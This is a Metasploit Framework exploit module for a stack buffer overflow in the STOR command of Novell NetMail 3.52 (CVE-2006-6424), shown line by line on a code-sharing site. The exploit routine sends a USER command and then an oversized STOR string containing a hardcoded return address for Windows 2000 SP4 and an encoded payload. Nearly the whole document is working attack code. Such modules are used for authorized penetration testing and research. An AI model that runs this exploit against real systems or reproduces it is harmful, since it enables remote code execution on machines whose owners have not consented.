Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/novell/nmap_stor.rb
21633 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Novell NetMail NMAP STOR Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
18
verb. By sending an overly long string, an attacker can overwrite the
19
buffer and control program execution.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2006-6424' ],
25
[ 'OSVDB', '31363' ],
26
[ 'BID', '21725' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 500,
34
'BadChars' => "\x00\x0a\x0d\x20",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2006-12-23',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options([Opt::RPORT(689)])
52
end
53
54
def exploit
55
connect
56
sock.get_once
57
58
auth = "USER " + rand_text_english(10)
59
sock.put(auth + "\r\n")
60
61
res = sock.get_once
62
63
sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')
64
sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded
65
66
if (res =~ /1000/)
67
print_status("Trying target #{target.name}...")
68
sock.put(sploit)
69
else
70
print_status("Not in Trusted Hosts.")
71
end
72
73
handler
74
disconnect
75
end
76
end
77
78